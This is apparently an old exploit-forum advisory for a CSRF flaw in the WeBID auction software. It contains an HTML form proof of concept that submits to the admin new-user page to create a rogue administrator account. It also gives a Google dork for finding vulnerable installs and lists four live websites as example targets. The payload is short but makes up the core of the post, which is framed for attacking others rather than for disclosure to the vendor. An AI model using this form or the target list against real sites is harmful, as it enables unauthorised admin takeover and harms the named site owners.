##############################################
# Title : WeBID CSRF Vulnerability (All Version) #
# Author : L3b-r1'z #
# Date : 12.MAR.30 #
# Security : LOW #
# Google Dork : allintext: "powered by webid" #
##############################################
Note :
Works IF magic_quotes_gpc = off .
P0C :
<form name="conf" action="http://domain.tld/path/admin/newadminuser.php" method="post">
<table>
<input type="text" name="username" value="L3br1z">
<input type="password" name="password" value="">
<input type="password" name="repeatpassword" value="">
</table>
<input type="hidden" name="status" value="1">
<input type="hidden" name="csrftoken" value="2ba424e53306e55aafba5914a68f8a7d">
<input type="hidden" name="action" value="update">
<input type="submit" name="act" class="centre" value="Submit">
</form>
Example Site :
http://mcs-1.com/
http://usedwiiu.com/
http://neobroker.com/webid/
http://advantekkshocks.com/WeBid/
( And More In Google :P )
################################################################################################################
# Special Thx To : Lito , Mr.Ps , The Injector , B0x ;) , Ked-Ans , Hacker-1420 , Mad Hacker'z , Mr.XKILler #
# Sec4ever , Sec4Leb.com , Sec4ever.com , V4-team.com , Mr.Hacker , Xref , Y3OULS , Mr.NORVI , And Again B0x :P #
# And InJ3cT0R T34M , 1337day.com #
################################################################################################################
